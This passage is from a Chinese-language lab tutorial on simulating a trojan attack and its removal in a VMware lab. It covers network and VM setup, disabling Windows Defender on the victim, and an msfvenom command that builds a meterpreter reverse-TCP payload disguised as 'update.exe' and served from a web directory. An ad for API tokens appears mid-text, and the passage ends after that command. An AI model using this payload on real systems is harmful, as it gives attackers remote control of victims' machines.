燕家猫1. 实验背景与目标解析
在网络安全领域，木马程序是最具代表性的攻击手段之一。不同于病毒和蠕虫，木马通常伪装成合法程序，通过社会工程学手段诱骗用户执行，从而实现对目标系统的长期控制。本次实验通过构建虚拟环境，完整模拟了从木马植入到清除的全过程，这对理解现代网络攻击防御体系具有重要价值。
实验的核心目标分为三个层次：
- 攻击层面：掌握木马服务端的生成、伪装和传播技术
- 控制层面：理解C/S架构木马的通信机制和持久化技术
- 防御层面：熟悉基于行为分析的高级查杀方法
特别值得注意的是，实验中采用的"攻防一体"设计思路非常实用。通过同时扮演攻击者和防御者角色，能够更全面地理解木马的工作原理。这种双向视角的训练方式，在真实的网络安全工作中尤为重要。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 实验环境搭建要点
2.1 虚拟网络配置
实验采用VMware Workstation Pro 16构建虚拟环境，这是目前最稳定的桌面虚拟化方案。具体配置需要注意：
- 使用NAT网络模式而非桥接，避免影响物理网络
- 为两台虚拟机分配同网段静态IP（192.168.219.0/24）
- 关闭虚拟机的防火墙和实时防护功能
- 确保时间同步（时区、NTP服务一致）
提示：建议为实验环境创建专用VMware虚拟网络，在"编辑->虚拟网络编辑器"中新建NAT模式网络，并禁用DHCP服务。
2.2 系统环境准备
攻击机（Kali Linux）：
- 安装Python 3.9+和Pipenv虚拟环境
- 准备Metasploit Framework 6.0+
- 安装Wireshark用于流量分析
受害机（Windows 10）：
- 关闭Windows Defender实时保护
- 创建非管理员标准用户账户
- 安装Process Monitor和IceSword工具
- 配置系统还原点为纯净状态
3. 木马攻击全流程实现
3.1 服务端程序生成
使用MSFvenom生成定制化木马：
bash复制msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.219.131 LPORT=4444 \
-f exe -o /var/www/html/update.exe